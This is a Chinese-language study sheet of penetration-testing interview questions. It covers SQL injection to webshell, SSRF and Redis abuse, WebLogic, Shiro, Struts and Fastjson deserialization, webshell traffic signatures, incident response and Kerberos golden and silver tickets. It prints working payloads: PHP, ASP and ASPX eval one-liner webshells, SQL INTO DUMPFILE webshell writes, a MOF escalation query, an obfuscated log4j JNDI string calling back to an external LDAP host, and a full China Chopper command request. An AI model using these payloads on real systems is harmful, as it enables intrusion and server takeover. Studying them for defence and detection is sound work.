OWASP TOP 10
SQL如何获取webshell
通过into outfile函数进行getshell 使用sqlmap --os-shell获取shell 插入一句话木马:select ‘一句话’ into outfile ‘路径’
into outfile函数区别
outfile 支持多行数据同时导出 使用union联合查询时,要保证两侧查询的列数相同 会在换行符制表符后面追加反斜杠 会在末尾追加换行 dumpfile 每次只能导出一行数据 不会在换行符制表符后面追加反斜杠 不会在末尾追加换行
sqlmap怎么拿shell
(1)os-shell (前提条件:①要求为DBA,--is-dba(phpstudy搭建的一般为DBA) ②知道网站的绝对路径 ③GPC为off,php主动转义的功能关闭) (2)向数据库写入文件 (into_outfile 前提条件:①web目录具有写权限,能够使用单引号 ②知道网站绝对路径(根目录,或则是根目录往下的目录都行) ③secure_file_priv没有具体值(在mysql/my.ini中查看)) (3)写文件: select ‘一句话’ into outfile ‘路径’ select ‘一句话’ into dumpfile ‘路径’ select ‘<?php eval($_POST[1]) ?>’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;
sqlmap使用rce
-
存在一个可被利用的 SQL 注入点。
-
数据库管理系统支持文件写入操作(如 MySQL 的
INTO OUTFILE
或 MSSQL 的xp_cmdshell
功能)
-
确认注入点 首先需要找到并验证存在 SQL 注入的位置。可以运行如下命令进行测试:
-
尝试使用 --os-shell是否能够拿到shell
-
上传恶意脚本 在更复杂的情况下,可能需要上传自定义脚本来完成特定任务。
-
触发脚本执行
XXE伪协议
file:用来加载本地文件 http:用来加载远程文件 ftp:用来访问ftp服务器上的文件 php:用来读取php源码
一个网站存在xxe漏洞,你该怎么利用它?
探测内网信息、攻击内网网站、读取本地文件、远程读取文件、读取php源码
文件上传利用条件
(1)要有返回的上传目录路径 (2)上传目录要有执行权限 (3)没有拦截webshell连接流量
文件上传伪协议
php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用 data:// 同样类似与php://input,可以让用户来控制输入流 php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行 phar://xxx.png/shell.php 解压缩的一个函数,不管后缀是什么,都会当作压缩包来解压。 zip://会将所有格式的文件按照压缩文件的格式进行处理
SSRF原理
用存在可以从其他服务器获取数据的功能,但是对服务器的地址并没有做出严格校验,导致应用程序可以访问任意URL链接。
SSRF头部协议/无回显利用方式
http:超文本传输协议 dict:词典网络协议,进行端口探测 file:伪协议,读取本地文件 ftp:FTP服务器 gopher(重点:信息查找系统):gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
可以尝试通过构造不同的请求,结合时间延迟、DNS解析、HTTP请求头差异等,来间接判断目标服务器是否受到影响。 尝试探索ssrf+reids未授权
代码执行防御方式
1、使用addslashes函数将参数转义或使用黑白名单名单 2、禁止或减少使用代码执行函数 3、限制web用户的权限
SSRF和Redis搭配
Redis未授权访问漏洞在SSRF中的利用
在SSRF漏洞中,若目标存在Redis服务。且存在未授权访问,就可以利用Gopher协议远程操纵目标主机上的Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell
等。
第一种:利用 Redis写入Webshell
条件:
1)、服务端的Redis连接存在未授权,在攻击机上能用redis‐cli直接登陆连接,并未登陆验证。
2)、开了服务端存在Web服务器,并且知道Web目录的路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限。
第二种:利用 Redis写入SSH公钥
条件:
1)、服务端的Redis连接存在未授权,在攻击机上能用redis‐cli直接登陆连接,并未登陆验证。
2)、服务端存在.ssh目录并且有写入的权限
第三种:利用 Redis 写入计划任务
原理:在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。
SSRF绕过方式
绕过姿势
1)、http://example.com@127.0.0.1`
2)、利用IP地址的省略写法绕过 ,[::]绕过localhost
3)、DNS解析 http://127.0.0.1.xip.io/可以指向任意ip的域名:xip.io
4)、利用八进制IP地址绕过 ,利用十六进制IP地址 ,绕过利用十进制的IP地址绕过
修复:
1)、地址做白名单处理
2)、域名识别IP 过滤内部IP
3)、校验返回的内容对比是否与假定的一致
CSRF和SSRF的区别
CSRF是跨站请求伪造攻击,由客户端发起; 由于未验证refer来源,导致攻击者可以利用用户的cookie访问网站。 SSRF是服务器端请求伪造,由服务器发起; 对用户提供的url过于信任,导致可以访问任意url。
代码执行防御方式
1、使用addslashes函数将参数转义或使用黑白名单名单 2、禁止或减少使用代码执行函数 3、限制web用户的权限
sqlsever怎么在xpcmd禁用的情况拿shell?
(1)Ole Automation Procedures存储过程提权,简称ole (2)沙盒模式提权 (3)代理计划任务提权
数据库提权方式
1、Udf提权
提权原理:
通过编写调用cmd或者shell的共享库文件(window为.dll,linux为.so),并且导入到一个指定的文件夹目
录下,创建一个指向共享库文件的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。
步骤:
1)攻击者编写一些可以调用cmd或者shell的共享库文件(window为.dll,linux为.so),将共享库导入指定
的函数目录中。
2)在MySQL中创建指向共享库文件的自定义函数。
3)通过刚刚创建的函数执行系统命令,实现提权。
提权前提:
要有一个高权限的MySQL的账号,具有增删改查的权限以创建自定义函数,最好是root账号
2、MOF提权
MOF(托管对象格式)文件是Windows系统的一种文件格式,可以通过定期执行其中的命令来实现提权。将自定义的MOF文件上传到系统目录,系统会定期执行其中的命令,从而实现提权。
上传MOF文件
SELECT LOAD_FILE('C:/path/to/adduser.mof') INTO DUMPFILE 'C:/windows/system32/wbem/mof/nullevt.mof';
注意:MOF提权方法主要适用于Windows系统,且需要对C:/windows/system32/wbem/mof目录有写权限
说说Nmap工具的使用?
‐sT TCP (全)连接扫描,准确但留下大量日志记录
‐sS TCP SYN (半)扫描,速度较快,不会留下日志
‐sN null 扫描,标志位全为 0,不适用 Windows
‐sF FIN 扫描,标志位 FIN=1,不适用 Windows
‐O 查看目标主机系统版本
‐sV 探测服务版本
‐A 全面扫描
Xp_cmdshell**提权原理,步骤**
一句话木马
asp一句话木马: <%execute(request(“value”))%> php一句话木马:<?php@eval($_POST[value]);?> 变形:<?php$x=$_GET[‘z’];@eval(“$x;”);?> aspx一句话木马: <%@ PageLanguage=“Jscript”%> <%eval(Request.Item[“value”])%>
原理:
xp_cmdshell是sql server中的一个组件,xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执
行给定的命令字符串,并以文本行方式返回任何输出。xp_cmdshell能提权的原理是sql server支持堆叠查询方式,
xp_cmdshell可以执行cmd的指令,通过执行命令方式利用操作系统权限。
前提条件:
1)、拥有 DBA 权限, 在 2005 中 xp_cmdshell 的权限是 system,2008 中是 network。
2)、依赖 xplog70.dll
步骤:
1)、判断当前是否为DBA权限
2)、查看是否存在 xp_cmdshell
3)、看能否使用 xp_cmdshell,从MSSQL2005版本之后默认关闭,若没有开启,需要开启
4)、执行 xp_cmdshell
框架漏洞
存在反序列化的中间件/框架
weblogic T3反序列化/wls-anys xml格式反序列化 tomcat 反序列化 jboss 反序列化 shiro 反序列化 strust2 反序列化052
中间件未授权访问漏洞
Redis 未授权访问漏洞 JBOSS 未授权访问漏洞 Weblogic 未授权漏洞 MongoDB 未授权访问漏洞 Memcached 未授权访问漏洞CVE-2013-7239 VNC 未授权访问漏洞 Docker 未授权访问漏洞 ZooKeeper 未授权访问漏洞 Rsync 未授权访问漏洞
weblogic反序列化原理
(1)Weblogic RMI反序列化命令执行漏洞(CVE-2018-2628) 攻击者利用RMI绕过weblogic黑名单限制,将加载的内容利用readObject解析,造成反序列化漏洞,该漏洞主要由于T3协议触发,所有开放weblogic控制台7001端口,默认开启T3服务,攻击者发送构造好的T3协议数据,获取目标服务器的权限。 (2)Weblogic反序列化漏洞(CVE-2019-2725) 由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。 (3)XMLDecoder 反序列化漏洞(反 CVE-2017-10271 & CVE-2017-3506) 其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令,攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。
weblogic漏洞
(1)Weblogic弱口令&&后台getshell 账号:weblogic,密码:Oracle@123,后台部署war包 C:\bea\user_projects\domains\base_domain\servers\AdminServer\upload (2)Weblogic任意文件上传漏洞(CVE-2018-2894) (3)Weblogic SSRF漏洞(CVE-2014-4210)反序列化漏洞 (4)XMLDecoder 反序列化漏洞(反 CVE-2017-10271 & CVE-2017-3506) 其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令,bash反弹shell命令 (5)Weblogic wls9_async_response,wls-wsat 反序列化远程代码执行漏洞(CVE-2019- 2725) WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。 (6)Weblogic反序列化远程代码执行漏洞(CVE-2018-3245) 通过 JRMP 协议利用 RMI 机制的缺陷达到执行任意反序列化代码的目的。攻击者可以在未授权的情况下将 payload 封装在 T3 协议中,通过对 T3 协议中的 payload 进行反序列化,从而实现对存在漏洞的 WebLogic 组件进行远程攻击,执行任意代码并可获取目标系统的所有权限。 (7)Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628) (8)Weblogic LDAP(CVE-2021-2109)远程代码执行漏洞 攻击者构造恶意请求,造成jndi注入执行任意代码 (9)Weblogic RCE(CVE-2020-14882&14883) 通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令
Shiro-550的原理是什么?怎么利用?
Shiro组件(shiro-550)提供了rememberme功能,将cookie中remenberme字段内容分别进行序列化、AES加密、Base64编码操作,然后用户在请求网站时,shiro又会在识别身份的时候,对cookie里的remember字段反向解密; AES加密的密钥key被硬编码在代码里,导致攻击者可以系列化恶意类,再进行AES、Base64编码,传递到服务端进行反序列化执行任意代码。
Shiro-550与Shiro-721的区别
(1)shiro721反序列化时由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。 (2)Shiro-550:硬编码导致,Shiro-721:算法导致
shiro其他漏洞
Shiro权限绕过漏洞
ssrf除了进行一些探测还能干什么
使用gopher协议攻击redis,(要是继续问redis怎么攻击,redis利用方法) ssrf联动redis主要是利用了gopher协议,通过利用ssrf漏洞,当作跳板机,去访问redis数据库 redis授权,ssh公私钥写入,写计划任务,反弹shell。
Struts2相关漏洞
(1)S2-045:恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。 (2)S2-052:rest使用插件xstreamhandler处理xml数据,由于没对xml文件过滤,反序列xml转为object时导致rce。 (3)S2-053:Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式,导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。 (4)S2-057:网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生 (5)S2-059:攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。 (6)S2-061:对S2-059的沙盒绕过
GPC是什么?开启了怎么绕过
GPC:
php.ini配置文件中的magic_quotes_gpc,实现为get、post、cookie传入的单引号、双引号、反斜线、NULL字符添加反斜线 \
绕过:
PHP5的GPC对$_SERVER的忽略,可在http请求头注入
二次注入
宽字节注入
如何对接口进行渗透测试
-
确定接口地址和功能,例如REST API、SOAP、GraphQL等。
-
确认接口的授权机制,例如基于Token的身份验证、OAuth2.0等。
-
使用工具或手动测试对接口进行简单的功能测试,例如提交请求、获取响应等。
-
对接口进行安全测试,例如:
输入验证:尝试使用各种输入类型和长度来测试输入验证,例如SQL注入、跨站点脚本(XSS)等。
认证和授权:测试接口的身份验证和授权机制,例如尝试使用无效令牌或攻击会话跟踪等。
敏感信息泄露:测试接口是否泄露敏感信息,例如用户凭据、API密钥等。
拒绝服务攻击:测试接口是否容易受到拒绝服务攻击,例如暴力破解、DDoS攻击等。
业务逻辑:测试接口的业务逻辑是否存在漏洞或安全问题,例如尝试越权访问、重放攻击等。
-
分析测试结果,并进行修复或改进。
CRLF注入原理
CRLF 注⼊在 OWASP ⾥⾯被称为 HTTP 拆分攻击(HTTP Splitting)CRLF 是” 回⻋ + 换⾏”(\r\n)的简称, 在 HTTP 协议中,HTTP Header 与 HTTP Body 是⽤两个 CRLF 分隔的,浏览器就是根据这两个 CRLF 来取出 HTTP 内容并显 示出来。所以,⼀旦我们能够控制 HTTP 消息头中的字符,注⼊⼀些恶意的换⾏
fastjson反序列化如何绕过waf
(1)编码绕过,通过对关键字进行hex编码或unicode编码进行绕过 (2)混肴绕过,通过添加json垃圾键值对机型绕过 (3)使用/**/注释符绕过,通过添加对json值逗号前后添加注释符进行绕过 (4)通过-或_对关键字进行隔开绕过 (5)绕过方法不唯一,主要评判答题者思路
log4j2漏洞如何混淆绕过waf
(1)通过对关键字进行混肴绕过,例如 ${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:- da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:w@q.tjyo @-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.m Q:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s :-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h} 解密为:${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh} (2)答案不唯一,主要评判答题者思路
一个站,只有命令执行权限,没有回显,也不出网,怎么后续利用(发散思维)
(1)猜测web路径,写webshell (2)通过延迟探测内网主机和端口,进行内网攻击,如枚举密码 (3)有时机器不出网,但是53端口或者dns协议出网 (4)答案不唯一,需评判答题者思路的可行性
Struts反序列化漏洞的特征及原理分析
Struts2框架中的某些组件存在反序列化漏洞,这些漏洞允许攻击者通过精心构造的数据包执行远程命令(Remote Code Execution, RCE)。这类漏洞的根本原因在于Java对象的反序列化过程中未对输入数据进行严格校验,从而可能导致恶意代码被执行。
二、漏洞特征
-
受影响版本广泛 多个Struts2版本受到影响,例如S2-048漏洞影响的是Struts2.3.x系列版本2。不同版本可能存在不同的触发条件和利用方式。
-
依赖于特定API调用 漏洞通常发生在
ObjectInputStream.readObject()
方法被调用时,该方法用于读取并还原序列化的对象实例。如果目标类实现了readObject
或writeObject
方法,并且其中包含了危险操作,则可能成为攻击入口1。 -
可实现任意代码执行 攻击者能够通过发送特制请求来控制服务器端的行为,最终达到运行任意命令的目的。这种能力使得此类漏洞极具危害性。
-
常见触发场景
-
HTTP参数解析阶段;
-
文件上传处理逻辑;
-
动态表单提交过程等。
-
三、漏洞成因分析
-
不安全的反序列化机制 Java默认提供了强大的反射功能支持复杂类型的自动恢复,但在实际应用中如果没有额外的安全措施保护敏感字段或者验证传入值合法性的话就很容易遭到滥用3。
-
链式调用关系的存在 当某个类内部定义了一些特殊的方法(比如前面提到过的
readResolve
,writeReplace
) 或者继承自其他含有潜在风险基类的时候,在加载这个新创建出来的副本之前可能会先去尝试访问那些预设好的属性值进而间接激活隐藏威胁4。 -
第三方库引入的风险 很多时候并不是开发者自己编写的代码存在问题而是因为使用到了有问题的外部jar包才导致整个系统变得脆弱不堪。例如Commons Collections就是一个经常出现在各种案例里的例子因为它里面包含了很多可以用来构建gadget chain 的工具函数集合。
Springboot框架的反序列化漏洞原因
Spring Boot框架中反序列化漏洞的主要原因是由于框架使用了不安全的Java反序列化机制,例如ObjectInputStream。攻击者可以通过精心构造恶意序列化数据,利用反序列化过程中的类加载、方法调用等环节,在服务器端执行任意代码,从而实现攻击。
Fastjson反序列化原理
fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。由于要获取json
数据详细类型,每次都需要读取@type,而@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化
的特性,我们可以通过目标类的set方法自由的设置类的属性值。那么攻击者只要准备rmi服务和web服务,将rmi绝对路径
注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口从攻击者控制的web服务器远程加载恶意
代码并执行,形成RCE。
代码层面,fastjson反序列化漏洞的函数有哪些?
1)、parseObject(): 这个函数用于将JSON字符串反序列化为Java对象。在过去的一些版本中,当JSON字符串包含恶
意构造的数据时,可能导致代码执行漏洞。
2)、parse(): 类似于parseObject()函数,这个函数也用于将JSON字符串反序列化为Java对象。在某些情况下,由于
Fastjson在处理类型信息时的不当处理,可能会导致反序列化漏洞。
3)、getObject(): 这个函数用于获取JSON对象中指定键对应的值,并尝试将其转换为指定类型的Java对象。在某些情
况下,由于类型处理不当,可能导致反序列化漏洞。
4)、parseArray(): 这个函数
流量特征
远控软件
CS流量特征
1、基础特征
心跳包:默认间隔60秒向服务端发送心跳包
2、请求特征
下发的指令:执行命令通常会请求submit.php
url路径
老版本固定的UA头: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0;BOIE9;ENUS)
3、源码特征
checksum8
MSF流量特征
1、端口号
MSF默认使用4444端口作为反向连接端口
2、数据内容
MSF数据包通常包含特定字符串:("meterperter"、"revshell"等)
蚁剑
1.请求头的User-Agent
antSword/*
也可能为:Mozilla/5.0 (Windows NT-) AppleWebKit/- (KHTML, like Gecko) Chrome/* Safari/、
2.请求中可以检测到关键字
"eVAL" "eval"
3.每个请求体都存在@ini_set(“display_errors” , “0”);@set_time_limit(0)开头。并且后面存在base64等字符;
菜刀
数据包特征
-
请求包中,ua头为百度,火狐
-
请求体中存在eval,base64等特征
-
请求体中转的payload为base64编码,并且是固定存在的
老版本使用明文传输,采用了base64加密,检测思路就是分析流量包
查看是否出现长串加密密文
通常再z0后面跟随payload的base64的数据(z0是默认参数)
POST /caodao.php HTTP/1.1 X-Forwarded-For: 24.50.187.192 Referer: http://www.test.com/ Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html) Host: www.test.com Content-Length: 1022 Connection: Close Cache-Control: no-cache x=$xx%3Dchr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval/**/.($xx/**/.($yy[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRwPWJhc2U2NF9kZWNvZGUoJG0%2Fc3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdKTskcz1iYXNlNjRfZGVjb2RlKCRtP3N0cmlwc2xhc2hlcygkX1BPU1RbInoyIl0pOiRfUE9TVFsiejIiXSk7JGQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOyRjPXN1YnN0cigkZCwwLDEpPT0iLyI%2FIi1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiOyRyPSJ7JHB9IHskY30iOyRhcnJheT1hcnJheShhcnJheSgicGlwZSIsInIiKSxhcnJheSgicGlwZSIsInciKSxhcnJheSgicGlwZSIsInciKSk7JGZwPXByb2Nfb3Blbigkci4iIDI%2BJjEiLCRhcnJheSwkcGlwZXMpOyRyZXQ9c3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pO3Byb2NfY2xvc2UoJGZwKTtwcmludCAkcmV0OztlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=Y21k&z2=Y2QgL2QgRTpccGhwc3R1ZHlfcHJvXFdXV1x0ZXN0XCZuZXRzdGF0IC1hbiB8IGZpbmQgIkVTVEFCTElTSEVEIiZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D
冰蝎
冰蝎2.0:
1、使用AES加密 + base64编码,AES使用动态密钥对通信进行加密,进行请求时内置了十几个 User-Agent头,每次请求时会随机选择其中的一个。因此当发现一个ip的请求头中的user-agent在频繁变换,就可能是冰蝎。
2、响应体长度:Content-Length:16(强特征)
3、返回码为200,返回的内容必定是16位密钥
4、冰蝎2默认Accept字段的值很特殊,而且每个阶段都一样:
Accept: text/html, image/gif, image/jpeg,*; q=.2, */*; q=.2
冰蝎3.0
使用AES加密 + base64编码,取消了2.0的动态获取密钥,使用固定的连接密钥,AES加密的密钥为 webshell连接密码的MD5的前16位,默认连接密码是"rebeyond"(即密钥是md5(‘rebeyond’) [0:16]=e45e329feb5d925b)。进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一 个。因此当发现一个ip的请求头中的user-agent在频繁变换,就可能是冰蝎。 3.0连接jsp的webshell的请求数据包中的content-type字段常见为application/octet-stream3.0连接 jsp的webshell的请求数据包中的content-type字段常见为application/octet-stream
流量特征
-
Accept字段如果请求没有设置accept,Cache-Control,Pragma,User-Agent。则会设置默认为:
Accept: text/html, image/gif, image/jpeg,*; q.2, /; q.2
Cache-Control: no-cache
Pragma: no-cache User-Agent: java/1.8
-
Content-type:application/octet-stream3.0
冰蝎4.0
流量特征
-
Accept字段:Accept: application/json, text/javascript, /; q=0.01
-
Content-type: Application/x-www-form-urlencoded
-
User-agent字段: 冰蝎设置了10种User-Agent,每次连接shell时会随机选择一个进行使用
-
端口:冰蝎与webshell建立连接的同时,javaw也与目的主机建立tcp连接,每次连接使用本地端口在49700左右,每连接一次,每建立一次新的连接,端口就依次增加。
-
PHPwebshell中存在固定代码:$post=Decrypt(file_get_contents("php://input"));eval($post);
-
固定的请求头和响应头
-
请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M
-
响应字节头:TxcWR1NNExZAD0ZaAWMXIWPAEZdjH1BFBFtHThcJSlUXWEd
-
-
加密方式:先进行base64加密,在进行AES加密
哥斯拉
流量特征
-
Accept(弱特征):text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0
-
Cookie中有一个非常关键的特征,最后会有个分号;
-
在默认脚本编码的情况下,jsp会出现
xc、pass字符和Java反射(ClassLoader,getClass().getClassLoader()),base64加解码
等特征。 -
响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。
-
请求包中有pass
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Mozilla/5.0 (Windows; U; Windows NT 6.1; en\-US) AppleWebKit/533+ (KHTML, like Gecko) Element Browser/5.0 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0) Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.37 Edge/16.16299 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0 Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Mozilla/7.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Xbox)
log4j2反序列化流量特征
数据包中有大量$符号和jndi,ldap等字眼
天眼检测到shiro攻击,如何判断攻击为真?怎样判断攻击是否成功?
特征1:先查看告警,如果告警为攻击成功或失陷就很可能攻击成功; 特征2:先解密请求体里的加密数据,如果里面携带密钥,根据密钥爆破利用链,如果爆破利用链成功,并能够执行命令,说明攻击成功。
spring漏洞流量特征
一般存在两个请求,第一个请求修改请求头内容,第二次请求头中可能会看到请求内容存在命令
thinkPHP 5.x RCE流量特征
调用$this->{$this->method}($_POST);语句。当我们可以控制 $method的值时,就可以调用Request类的任意方法,而当调用构造方法__construct()时,就可以覆盖 Request类的任意成员变量,可以覆盖 $this->method,指定 check()方法中的$method值index.php?s=xxxxx 0
struts2-009流量特征
GET 请求之后拼接的域名中包含有Struts2 、exec 等关键字以及OGNL表达式
shiro漏洞流量特征
Cookie中的rememberMe内容、解密 rememberMe可获取异常信息。相应包里:Set-cookie: rememberMe=deleteMe;
分段传输怎么在天眼判断
(1)分块传输(Chunked Transfer Encoding)是HTTP协议中的一种传输方式,用于将一个HTTP请求或响应消息体分割成多个块(Chunk)进行传输。在天眼上判断分块传输主要有以下几个方面: 请求报文头部:当请求报文中使用了分块传输编码时,会在请求报文头部中添加"Transfer-Encoding: chunked"字段。可以通过查看请求报文头部中的字段来判断请求是否使用了分块传输编码。 (2)请求报文体:使用分块传输编码时,请求报文体会被分割成多个块进行传输,每个块都会带上长度信息。可以通过检查请求报文体中的分块块头(chunk header)来判断请求是否使用了分块传输编码。 响应报文头部:当响应报文中使用了分块传输编码时,会在响应报文头部中添加"Transfer-Encoding: chunked"字段。可以通过查看响应报文头部中的字段来判断响应是否使用了分块传输编码。 (3)响应报文体:使用分块传输编码时,响应报文体也会被分割成多个块进行传输,每个块同样会带上长度信息。可以通过检查响应报文体中的分块块头来判断响应是否使用了分块传输编码。 (4)总之,分块传输编码会将消息体分割成多个块进行传输,每个块都会带上长度信息,因此可以通过检查请求或响应报文头部和报文体中的分块块头来判断是否使用了分块传输编码。
应急响应/设备
IDS和IPS区别
入侵检测:IDS,类似防火墙,主要用于入网流量检测
入侵防御:IPS,对杀软和防火墙的补充,阻止病毒攻击以及点到点应用滥用
文件上传漏洞应急处理方案
-
立即隔离受影响的文件
-
将可疑文件移动到非公开目录下,防止其被执行或访问1。
-
-
全面排查WebShell
-
使用专业的工具(如Chkrootkit、ClamAV等)扫描整个网站目录,查找隐藏的WebShell或其他恶意文件2。
-
-
分析日志记录
-
审查HTTP请求日志和错误日志,定位异常行为模式以及潜在的攻击路径。
-
-
恢复可信版本
-
如果条件允许,从最近的安全备份中还原受感染的部分或者全部数据。
-
-
加强权限管理
-
确保上传目录仅具有写入权限而无执行权限;对于不需要动态生成内容的情况,应禁用该目录下的脚本解析功能3。
-
-
实施入侵检测措施
-
部署WAF(Web Application Firewall),实时监控并阻止非法上传尝试。
-
-
通知相关人员
-
向运维团队报告事件详情以便采取进一步行动,并考虑向客户通报风险状况(视具体情况决定)。
-
-
修补已知漏洞
-
参考最新的OWASP指南更新应用程序代码逻辑,消除可能导致此类问题的设计缺陷。
-
-
定期复查安全性
-
建立周期性的安全审计机制,持续评估系统的防护水平。
-
shiro反序列化不出网怎么利用
若目标不出网,我们可以通过shiro漏洞进行写webshell,然后使用哥斯拉、冰蝎连接。
内网
内网测试流程
内网渗透测试流程通常包括信息收集、漏洞扫描、权限提升、横向移动和数据窃取等阶段。
-
首先,通过扫描确定内网资产及开放端口。
-
然后,利用已知的漏洞或弱口令进行渗透,获取系统初始访问权限。
-
接着,尝试提权以获取更高权限。成功控制主机后,开始横向移动,探索更多网络资源。
-
最后,根据测试目标,窃取敏感数据或模拟破坏行为。
-
整个过程需要严格控制,避免对生产环境造成影响,并进行详细的记录与报告。
黄金票据、白银票据
黄金票据 原理: 是指攻击者获取了Kerberos域控制器上特权帐户(通常是KRBTGT帐户)的密码哈希,然后使用该密码哈希生成一个伪造的Ticket Granting Ticket(TGT)。黄金票据伪装成合法的TGT,具有域中任意时间的授权访问权限,允许攻击者伪造任意用户的身份和访问任意服务。攻击者可以使用黄金票据来获得对域中任意资源的完全控制。
简单来说,黄金票据就是伪造的TGT,AS返回的票据,有了这个票据可以以域控的哈希访问任何服务。
利用条件: 1)、域名称 2)、域的SID值 3)、域的KRBTGT账户密码HASH 4)、伪造用户名,可以是任意的
白银票据 原理: 是指攻击者获取了合法用户的TGT(Ticket Granting Ticket)的信息,然后对TGT进行篡改以生成伪造的服务票据(TGS票据)。白银票据伪装成合法的TGS票据,用于访问特定的服务,但与黄金票据不同,白银票据只能访问被篡改的服务,无法获得对整个域的完全控制。
简单来说:白银票据伪造的TGS返回的票据,这个票据只能访问某个指定服务。
利用条件: 1)、域名称 2)、域的SID值 3)、域中的Server服务器账户的NTLM‐Hash 4)、伪造的用户名,可以是任意用户名. 5)、目标服务器上面的kerberos服务
